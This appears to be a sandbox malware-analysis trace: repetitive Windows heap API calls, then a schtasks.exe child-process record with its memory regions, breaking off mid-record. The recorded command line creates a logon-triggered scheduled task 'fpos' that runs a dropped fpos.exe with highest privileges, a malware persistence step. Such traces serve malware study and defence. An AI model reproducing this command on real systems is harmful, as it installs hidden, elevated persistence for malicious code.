[0086.220] GetProcessHeap () returned 0xd0000 [0086.220] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5a70) returned 1 [0086.220] GetProcessHeap () returned 0xd0000 [0086.220] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5a70) returned 0x20 [0086.220] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5a70 | out: hHeap=0xd0000) returned 1 [0086.220] GetProcessHeap () returned 0xd0000 [0086.220] GetProcessHeap () returned 0xd0000 [0086.220] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5aa0) returned 1 [0086.220] GetProcessHeap () returned 0xd0000 [0086.220] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5aa0) returned 0x20 [0086.221] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5aa0 | out: hHeap=0xd0000) returned 1 [0086.221] GetProcessHeap () returned 0xd0000 [0086.221] GetProcessHeap () returned 0xd0000 [0086.221] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc90) returned 1 [0086.221] GetProcessHeap () returned 0xd0000 [0086.221] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecc90) returned 0x20 [0086.221] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecc90 | out: hHeap=0xd0000) returned 1 [0086.221] GetProcessHeap () returned 0xd0000 [0086.221] GetProcessHeap () returned 0xd0000 [0086.221] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed770) returned 1 [0086.221] GetProcessHeap () returned 0xd0000 [0086.221] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed770) returned 0xe [0086.221] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed770 | out: hHeap=0xd0000) returned 1 [0086.221] GetProcessHeap () returned 0xd0000 [0086.222] GetProcessHeap () returned 0xd0000 [0086.222] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xeccc0) returned 1 [0086.222] GetProcessHeap () returned 0xd0000 [0086.222] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xeccc0) returned 0x20 [0086.222] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeccc0 | out: hHeap=0xd0000) returned 1 [0086.222] GetProcessHeap () returned 0xd0000 [0086.222] GetProcessHeap () returned 0xd0000 [0086.222] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe7ba0) returned 1 [0086.222] GetProcessHeap () returned 0xd0000 [0086.222] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe7ba0) returned 0x30 [0086.222] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe7ba0 | out: hHeap=0xd0000) returned 1 [0086.222] GetProcessHeap () returned 0xd0000 [0086.222] GetProcessHeap () returned 0xd0000 [0086.223] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xeccf0) returned 1 [0086.223] GetProcessHeap () returned 0xd0000 [0086.223] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xeccf0) returned 0x20 [0086.223] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeccf0 | out: hHeap=0xd0000) returned 1 [0086.223] GetProcessHeap () returned 0xd0000 [0086.223] GetProcessHeap () returned 0xd0000 [0086.223] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe7be0) returned 1 [0086.223] GetProcessHeap () returned 0xd0000 [0086.223] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe7be0) returned 0x30 [0086.223] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe7be0 | out: hHeap=0xd0000) returned 1 [0086.223] GetProcessHeap () returned 0xd0000 [0086.223] GetProcessHeap () returned 0xd0000 [0086.224] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xece70) returned 1 [0086.224] GetProcessHeap () returned 0xd0000 [0086.224] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xece70) returned 0x20 [0086.224] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xece70 | out: hHeap=0xd0000) returned 1 [0086.224] GetProcessHeap () returned 0xd0000 [0086.224] GetProcessHeap () returned 0xd0000 [0086.224] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed690) returned 1 [0086.224] GetProcessHeap () returned 0xd0000 [0086.224] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed690) returned 0xe [0086.224] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed690 | out: hHeap=0xd0000) returned 1 [0086.224] GetProcessHeap () returned 0xd0000 [0086.224] GetProcessHeap () returned 0xd0000 [0086.224] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xece40) returned 1 [0086.224] GetProcessHeap () returned 0xd0000 [0086.224] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xece40) returned 0x20 [0086.225] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xece40 | out: hHeap=0xd0000) returned 1 [0086.225] GetProcessHeap () returned 0xd0000 [0086.225] GetProcessHeap () returned 0xd0000 [0086.225] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6b0) returned 1 [0086.225] GetProcessHeap () returned 0xd0000 [0086.225] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed6b0) returned 0x16 [0086.225] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6b0 | out: hHeap=0xd0000) returned 1 [0086.225] GetProcessHeap () returned 0xd0000 [0086.225] GetProcessHeap () returned 0xd0000 [0086.225] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xece10) returned 1 [0086.225] GetProcessHeap () returned 0xd0000 [0086.225] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xece10) returned 0x20 [0086.226] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xece10 | out: hHeap=0xd0000) returned 1 [0086.226] GetProcessHeap () returned 0xd0000 [0086.226] GetProcessHeap () returned 0xd0000 [0086.226] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6d0) returned 1 [0086.226] GetProcessHeap () returned 0xd0000 [0086.226] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed6d0) returned 0x16 [0086.226] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed6d0 | out: hHeap=0xd0000) returned 1 [0086.226] GetProcessHeap () returned 0xd0000 [0086.226] GetProcessHeap () returned 0xd0000 [0086.226] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecde0) returned 1 [0086.226] GetProcessHeap () returned 0xd0000 [0086.226] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecde0) returned 0x20 [0086.226] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecde0 | out: hHeap=0xd0000) returned 1 [0086.226] GetProcessHeap () returned 0xd0000 [0086.226] GetProcessHeap () returned 0xd0000 [0086.227] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0x109c60) returned 1 [0086.227] GetProcessHeap () returned 0xd0000 [0086.227] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0x109c60) returned 0x82 [0086.227] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0x109c60 | out: hHeap=0xd0000) returned 1 [0086.227] GetProcessHeap () returned 0xd0000 [0086.227] GetProcessHeap () returned 0xd0000 [0086.227] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecdb0) returned 1 [0086.227] GetProcessHeap () returned 0xd0000 [0086.227] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecdb0) returned 0x20 [0086.227] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecdb0 | out: hHeap=0xd0000) returned 1 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed710) returned 1 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed710) returned 0xe [0086.228] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed710 | out: hHeap=0xd0000) returned 1 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd80) returned 1 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecd80) returned 0x20 [0086.228] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd80 | out: hHeap=0xd0000) returned 1 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed730) returned 1 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed730) returned 0xa [0086.228] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed730 | out: hHeap=0xd0000) returned 1 [0086.228] GetProcessHeap () returned 0xd0000 [0086.228] GetProcessHeap () returned 0xd0000 [0086.229] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd50) returned 1 [0086.229] GetProcessHeap () returned 0xd0000 [0086.229] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecd50) returned 0x20 [0086.229] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd50 | out: hHeap=0xd0000) returned 1 [0086.264] GetProcessHeap () returned 0xd0000 [0086.264] GetProcessHeap () returned 0xd0000 [0086.264] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xed750) returned 1 [0086.264] GetProcessHeap () returned 0xd0000 [0086.264] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xed750) returned 0xc [0086.264] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xed750 | out: hHeap=0xd0000) returned 1 [0086.264] GetProcessHeap () returned 0xd0000 [0086.264] GetProcessHeap () returned 0xd0000 [0086.264] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd20) returned 1 [0086.264] GetProcessHeap () returned 0xd0000 [0086.264] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xecd20) returned 0x20 [0086.265] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xecd20 | out: hHeap=0xd0000) returned 1 [0086.265] GetProcessHeap () returned 0xd0000 [0086.265] GetProcessHeap () returned 0xd0000 [0086.265] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb20) returned 1 [0086.265] GetProcessHeap () returned 0xd0000 [0086.265] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebb20) returned 0x18 [0086.265] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb20 | out: hHeap=0xd0000) returned 1 [0086.265] GetProcessHeap () returned 0xd0000 [0086.265] GetProcessHeap () returned 0xd0000 [0086.265] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5ad0) returned 1 [0086.265] GetProcessHeap () returned 0xd0000 [0086.265] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5ad0) returned 0x20 [0086.266] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5ad0 | out: hHeap=0xd0000) returned 1 [0086.266] GetProcessHeap () returned 0xd0000 [0086.266] GetProcessHeap () returned 0xd0000 [0086.266] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b00) returned 1 [0086.266] GetProcessHeap () returned 0xd0000 [0086.266] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5b00) returned 0x20 [0086.267] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b00 | out: hHeap=0xd0000) returned 1 [0086.267] GetProcessHeap () returned 0xd0000 [0086.267] GetProcessHeap () returned 0xd0000 [0086.267] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b30) returned 1 [0086.267] GetProcessHeap () returned 0xd0000 [0086.267] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5b30) returned 0x20 [0086.267] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b30 | out: hHeap=0xd0000) returned 1 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b60) returned 1 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5b60) returned 0x20 [0086.268] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b60 | out: hHeap=0xd0000) returned 1 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb40) returned 1 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebb40) returned 0x18 [0086.268] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb40 | out: hHeap=0xd0000) returned 1 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] GetProcessHeap () returned 0xd0000 [0086.268] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b90) returned 1 [0086.268] GetProcessHeap () returned 0xd0000 [0086.269] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5b90) returned 0x20 [0086.269] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5b90 | out: hHeap=0xd0000) returned 1 [0086.269] GetProcessHeap () returned 0xd0000 [0086.269] GetProcessHeap () returned 0xd0000 [0086.269] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5c20) returned 1 [0086.269] GetProcessHeap () returned 0xd0000 [0086.269] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5c20) returned 0x20 [0086.270] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5c20 | out: hHeap=0xd0000) returned 1 [0086.270] GetProcessHeap () returned 0xd0000 [0086.270] GetProcessHeap () returned 0xd0000 [0086.270] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5c80) returned 1 [0086.270] GetProcessHeap () returned 0xd0000 [0086.270] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5c80) returned 0x20 [0086.270] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5c80 | out: hHeap=0xd0000) returned 1 [0086.270] GetProcessHeap () returned 0xd0000 [0086.270] GetProcessHeap () returned 0xd0000 [0086.270] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5ce0) returned 1 [0086.270] GetProcessHeap () returned 0xd0000 [0086.270] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5ce0) returned 0x20 [0086.271] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5ce0 | out: hHeap=0xd0000) returned 1 [0086.271] GetProcessHeap () returned 0xd0000 [0086.271] GetProcessHeap () returned 0xd0000 [0086.271] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5d10) returned 1 [0086.271] GetProcessHeap () returned 0xd0000 [0086.271] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5d10) returned 0x20 [0086.271] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5d10 | out: hHeap=0xd0000) returned 1 [0086.271] GetProcessHeap () returned 0xd0000 [0086.271] GetProcessHeap () returned 0xd0000 [0086.271] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb60) returned 1 [0086.271] GetProcessHeap () returned 0xd0000 [0086.271] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebb60) returned 0x18 [0086.271] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebb60 | out: hHeap=0xd0000) returned 1 [0086.271] GetProcessHeap () returned 0xd0000 [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5c50) returned 1 [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe5c50) returned 0x20 [0086.272] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5c50 | out: hHeap=0xd0000) returned 1 [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xebae0) returned 1 [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xebae0) returned 0x18 [0086.272] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xebae0 | out: hHeap=0xd0000) returned 1 [0086.272] exit (_Code=0) Thread: id = 193 os_tid = 0x740 Process: id = "56" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3a7ba000" os_pid = "0x738" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"fpos\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4385 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4386 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4387 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4388 start_va = 0x180000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4389 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4390 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4391 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4392 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4393 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4394 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4395 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4396 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4397 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4398 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4399 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4400 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4401 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4402 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4403 start_va = 0x200000 end_va = 0x266fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4404 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4405 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4406 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4407 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4408 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4409 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4410 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4411 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4412 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4413 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4414 start_va = 0x270000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4415 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4416 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4417 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4418 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4419 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4420 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4421 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4422 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 4423 start_va = 0x770000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4424 start_va = 0x150000 end_va = 0x161fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4425 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4426 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4427 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4428 start_va = 0x1b70000 end_va = 0x1e3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4429 start_va = 0x370000 end_va = 0x3ecfff monitored = 0 entry_point = 0x37cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4430 start_va = 0x370000 end_va = 0x3ecfff monitored = 0 entry_point = 0x37cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4431 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4432 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4433 start_va = 0x1e40000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 4434 start_va = 0x1e40000 end_va = 0x1f1efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e40000" filename = "" Region: id = 4435 start_va = 0x1f90000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 4436 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = 